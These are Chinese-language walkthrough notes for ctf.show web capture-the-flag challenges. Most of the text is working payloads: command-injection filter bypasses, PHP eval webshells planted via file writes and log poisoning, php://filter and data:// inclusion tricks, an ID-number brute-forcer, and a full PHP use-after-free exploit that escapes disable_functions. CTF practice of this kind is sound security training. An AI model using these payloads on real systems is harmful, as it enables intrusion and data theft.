# 信息收集
web1,2,3 直接抓包查看即可
web4 先访问 robots.txt 根据得到的文件名再去访问
web5 访问路径 /index.phps 得到备份文件
web6 通过 drmap 扫描出来 www.zip, 或者根据提示相当压缩包 (不常用)
web7 使用 burp 访问.git 直接显示 flag
web8 使用 burp 访问.svn 路径直接显示 flag
web9 直接访问 index.php.swp
web10 使用 burp 抓包就可以看见 cookie 携带 flag
Web11 使用域名 dns 解析,查看 txt 记录
web12 直接访问后台 /admin, 提示输入用户名(admin)密码(372619038)网站下面有
web13 可以拿到后台地址以及用户名和密码
Web14 查看源代码,发现一个 editor 目录,访问 /editor,发现是一个编辑器,点击附件,可以查看文件空间,找到 /var/www/html 目录查看,发现 nothinghere 目录进入发现 fl000g.txt,最后直接访问 /nothinghere/fl000g.txt。
web15 使用 /admin 进入管理后台,点击修改密码,密保问题是哪个城市?首页最下面有个邮箱,使用 qq 查看对应的城市,输入后密码重置。再登陆即可
web16 微软雅黑探针后缀名是 tz.php, 查看 phpinfo,搜索 flag
web17 直接 dirsearch 能扫出来 backup.sql,直接得到 flag。
Web18 查看 js 文件 找到获胜的条件 解码 unicode,得到信息。
web19 查看返回包的源代码,有密钥有向量网上搜索 aes 解密,按照加密格式解密 password 即可。
web20 访问路径 /db/db.mdb,下载的文件直接用 010editor 打开,直接搜索 text,可以找到。
# 爆破
Web21 爆破请求头的 Authentic 字段 Basic 后面是 base64 编码的用户输入数据,要爆破的数据格式是 base64 (username:password), 使用 burp 自定义 iter,
web23 直接爆破 token,用 te_html 撞出来的
web24 设置随机种子随机数的顺序是一定的,知道第一个随机数就可以
web25 先令 r=0 得到第一个随机数的值,再使用 php_mt_seed 工具算出种子 之后得到第二个第三个随机数再计算 token 放在 cookie 里。
web26 直接点击确认无误,立即安装抓包即可,发送给 repeater,得到 response 中有 flag
web27 点击录取名单可以看到录取学生名单,身份证中间是由几位模糊的,点击学生学籍信息查询系统,要求输入身份证,那么可以破解下身份证,之后破解成功会有学号和密码,最后用得到学号和密码登录即可,下面是破解脚本:
import requests | |
import datetime | |
# 给定的前缀 | |
prefix = "621022" | |
suffix = "5237" | |
# 设定日期的范围,这里选择一个合理的范围,比如从 1900-01-01 到当前日期 | |
start_date = datetime.date(1990, 1, 1) | |
end_date = datetime.date.today() | |
# 获取所有可能的日期 | |
current_date = start_date | |
possible_dates = [] | |
while current_date <= end_date: | |
# 格式化日期 | |
formatted_date = current_date.strftime("%Y%m%d") # 年、月、日 | |
possible_dates.append(prefix + formatted_date + suffix) | |
current_date += datetime.timedelta(days=1) | |
for date in possible_dates: | |
url = "http://01db1d7a-4486-4be5-993a-64ae37c2da7f.challenge.ctf.show/info/checkdb.php" | |
# print(date) | |
# 请求的参数 | |
data = { | |
'a': '高先伊', | |
'p': f'{date}' | |
} | |
# 发送 POST 请求 | |
response = requests.post(url, data=data) | |
# 打印响应内容 | |
if response.status_code == 200 and "error" not in response.text: | |
print(date) | |
print("Response:", response.text) | |
exit(0) |
运行结果:
621022199002015237 | |
Response: {"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"} |
web28 直接爆破目录即可,除去 2.txt, 且都是数字 0-99
# 命令执行
Web29 可以操作的方式很多:
-
直接执行命令
/?c=echo%20`cat%20fl''ag.php`;
/?c=system('cat%20*');
-
嵌套
// 注意 如果嵌套system后面参数a不需要加引号 | |
?c=system($_GET['a']);&a=cat%20flag.php |
// 注意 如果嵌套eval,两边都需要加;哦 | |
/?c=eval($_GET['a']);&a=system('cat%20flag.php'); | |
/除了eval还可以有assert等哦~ |
-
写木马
?c=system('echo -e "<?php \n \$a=\$_GET[\'a\'];\n eval(\$a);?>" > a.php');
-
伪协议包含
// 在可以远程 eval,但是过滤分号和小括号也就是不能嵌套的情况下可以使用 | |
c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php |
web30 直接嵌套。
web31 过滤了引号直接去掉引号就可以啦~
Web32,33,34,35,36 使用伪协议读取
c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php |
web37 伪协议读取:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== | |
// 执行后查看源代码 |
也可以使用文件包含 + 命令执行去做:
-
查看服务器信息:
-
随便搜一个不存在的地址,可以看到返回 404 以及服务器信息
-
nginx 日志文件通常存在于 /var/log/nginx/access.log
-
-
尝试包含日志文件
这里我们发送的参数被记录在 access.log 中,那么试着发送一句话木马
-
发送一句话木马
-
再去包含日志文件
-
远程命令执行
Web38 在 userAgent 的地方设置一句话木马即可
// 执行后查看网页源代码 | |
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
web39 直接读取
data://text/plain,<?php system("cat fla?.php")?> |
web40 参考无参 rce 构造
highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web41 详细见无数字字母绕过正则
web42 用;隔开即可
?c=tac flag.php; ls |
web43,44 使用 0a% 截断
?c=mv flag.php 1.txt%0a |
web45%09 代替空格
?c=mv%09fla*%091.txt%09%0a |
Web46,web47,48,49 使用?代替
?c=mv%09fla?.???%09a.txt%09%0a |
web50,51 使用 nl 命令行输出
?c=nl<fla''g.php|| |
web52 命令行终端 $IFS 代替空格
nl$IFS/fla''g|| |
web53
?c=ca''t${IFS}fl''ag.php |
Web54
?c=/bin/?at${IFS}f??????? |
web55 参见无数字无字符绕过:
Web57:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ | |
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ | |
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ | |
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ | |
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ | |
$(())))$((~$(())))$((~$(()))))))) |
Web58,59,60,61,62,63,64,65:
POST | |
c=show_source('flag.php'); |
Web66,67,68:
c=var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt"; | |
或者 | |
c=print_r(scandir("/")); | |
c=highlight_file('/flag.txt'); |
Web69,70:
c=print(implode('--',scandir('/'))); include "php://filter/convert.base64-encode/resource=/flag.txt"; |
Web71:
c=print(implode('--',scandir('/'))); include "php://filter/convert.base64-encode/resource=/flag.txt";exit(0); |
Web72(UAF 涉及到 PWN 相关的内容):
c=function ctfshow($cmd) { global $abc, $helper, $backtrace; | |
class Vuln { | |
public $a; | |
public function __destruct() { | |
global $backtrace; | |
unset($this->a); | |
$backtrace = (new Exception)->getTrace(); | |
if(!isset($backtrace[1]['args'])) { | |
$backtrace = debug_backtrace(); | |
} | |
} | |
} | |
class Helper { | |
public $a, $b, $c, $d; | |
} | |
function str2ptr(&$str, $p = 0, $s = 8) { | |
$address = 0; | |
for($j = $s-1; $j >= 0; $j--) { | |
$address <<= 8; | |
$address |= ord($str[$p+$j]); | |
} | |
return $address; | |
} | |
function ptr2str($ptr, $m = 8) { | |
$out = ""; | |
for ($i=0; $i < $m; $i++) { | |
$out .= sprintf("%c",($ptr & 0xff)); | |
$ptr >>= 8; | |
} | |
return $out; | |
} | |
function write(&$str, $p, $v, $n = 8) { | |
$i = 0; | |
for($i = 0; $i < $n; $i++) { | |
$str[$p + $i] = sprintf("%c",($v & 0xff)); | |
$v >>= 8; | |
} | |
} | |
function leak($addr, $p = 0, $s = 8) { | |
global $abc, $helper; | |
write($abc, 0x68, $addr + $p - 0x10); | |
$leak = strlen($helper->a); | |
if($s != 8) { $leak %= 2 << ($s * 8) - 1; } | |
return $leak; | |
} | |
function parse_elf($base) { | |
$e_type = leak($base, 0x10, 2); | |
$e_phoff = leak($base, 0x20); | |
$e_phentsize = leak($base, 0x36, 2); | |
$e_phnum = leak($base, 0x38, 2); | |
for($i = 0; $i < $e_phnum; $i++) { | |
$header = $base + $e_phoff + $i * $e_phentsize; | |
$p_type = leak($header, 0, 4); | |
$p_flags = leak($header, 4, 4); | |
$p_vaddr = leak($header, 0x10); | |
$p_memsz = leak($header, 0x28); | |
if($p_type == 1 && $p_flags == 6) { | |
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; | |
$data_size = $p_memsz; | |
} else if($p_type == 1 && $p_flags == 5) { | |
$text_size = $p_memsz; | |
} | |
} | |
if(!$data_addr || !$text_size || !$data_size) | |
return false; | |
return [$data_addr, $text_size, $data_size]; | |
} | |
function get_basic_funcs($base, $elf) { | |
list($data_addr, $text_size, $data_size) = $elf; | |
for($i = 0; $i < $data_size / 8; $i++) { | |
$leak = leak($data_addr, $i * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x746e6174736e6f63) | |
continue; | |
} else continue; | |
$leak = leak($data_addr, ($i + 4) * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x786568326e6962) | |
continue; | |
} else continue; | |
return $data_addr + $i * 8; | |
} | |
} | |
function get_binary_base($binary_leak) { | |
$base = 0; | |
$start = $binary_leak & 0xfffffffffffff000; | |
for($i = 0; $i < 0x1000; $i++) { | |
$addr = $start - 0x1000 * $i; | |
$leak = leak($addr, 0, 7); | |
if($leak == 0x10102464c457f) { | |
return $addr; | |
} | |
} | |
} | |
function get_system($basic_funcs) { | |
$addr = $basic_funcs; | |
do { | |
$f_entry = leak($addr); | |
$f_name = leak($f_entry, 0, 6); | |
if($f_name == 0x6d6574737973) { | |
return leak($addr + 8); | |
} | |
$addr += 0x20; | |
} while($f_entry != 0); | |
return false; | |
} | |
function trigger_uaf($arg) { | |
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
$vuln = new Vuln(); | |
$vuln->a = $arg; | |
} | |
if(stristr(PHP_OS, 'WIN')) { | |
die('This PoC is for *nix systems only.'); | |
} | |
$n_alloc = 10; | |
$contiguous = []; | |
for($i = 0; $i < $n_alloc; $i++) | |
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
trigger_uaf('x'); | |
$abc = $backtrace[1]['args'][0]; | |
$helper = new Helper; | |
$helper->b = function ($x) { }; | |
if(strlen($abc) == 79 || strlen($abc) == 0) { | |
die("UAF failed"); | |
} | |
$closure_handlers = str2ptr($abc, 0); | |
$php_heap = str2ptr($abc, 0x58); | |
$abc_addr = $php_heap - 0xc8; | |
write($abc, 0x60, 2); | |
write($abc, 0x70, 6); | |
write($abc, 0x10, $abc_addr + 0x60); | |
write($abc, 0x18, 0xa); | |
$closure_obj = str2ptr($abc, 0x20); | |
$binary_leak = leak($closure_handlers, 8); | |
if(!($base = get_binary_base($binary_leak))) { | |
die("Couldn't determine binary base address"); | |
} | |
if(!($elf = parse_elf($base))) { | |
die("Couldn't parse ELF header"); | |
} | |
if(!($basic_funcs = get_basic_funcs($base, $elf))) { | |
die("Couldn't get basic_functions address"); | |
} | |
if(!($zif_system = get_system($basic_funcs))) { | |
die("Couldn't get zif_system address"); | |
} | |
$fake_obj_offset = 0xd0; | |
for($i = 0; $i < 0x110; $i += 8) { | |
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); | |
} | |
write($abc, 0x20, $abc_addr + $fake_obj_offset); | |
write($abc, 0xd0 + 0x38, 1, 4); | |
write($abc, 0xd0 + 0x68, $zif_system); | |
($helper->b)($cmd); | |
exit(); | |
} | |
ctfshow("cat /flag0.txt");ob_end_flush(); ?> |
Web73,74
# 找到flag文件在/flagc.txt | |
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) | |
{echo($f->__toString().' '); | |
}phpinfo();exit();?> | |
# 查看flagc.txt的内容 | |
c=?><?php include "php://filter/convert.base64-encode/resource=/flagc.txt";exit(0); | |
exit(0); | |
?> |
web75(限制了 include 读取目录 尝试使用 mysql 读取)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) | |
{echo($f->__toString().' '); | |
}phpinfo();exit();?> | |
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', | |
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) | |
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- | |
>getMessage();exit(0);}exit(0); |
web76
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) | |
{echo($f->__toString().' '); | |
}phpinfo();exit();?> | |
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', | |
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) | |
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- | |
>getMessage();exit(0);}exit(0); |
web77(使用 FFI, 将声明的 C 函数作为有效的 FFI 的对象的方法)
c=$ffi = FFI::cdef("int system(const char *command);"); | |
$a='/readflag > 1.txt'; | |
$ffi->system($a);exit(0); |
# 文件包含
web78
?file=php://filter/convert.base64-encode/resource=flag.php |
Web79,80,81(同样的方法 只不过直接在页面看不出来 ,先用 system (‘ls’),看一下 flag 文件是什么,之后再次查看不然会显示空白)
?file=/var/log/nginx/access.log&1=system('tac flag.php'); | |
<?php eval($_GET[1]);?> | |
或者 | |
data://text/plain,<?php system('id') ?> |
web87
# 进行两次 url 编码 | |
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30&1=system('ls /'); | |
post: | |
# ab 是我们添加的进行 base64-decode 的字符和题目中的 phpdie 相互对应 | |
content=abPD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg== |
访问 1.php
1.php?1=system('ls'); | |
?1=system('tac fl0g.php'); |
web88
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4 |
# PHP 特性
Web89:
Web90:
?num=4476%24 |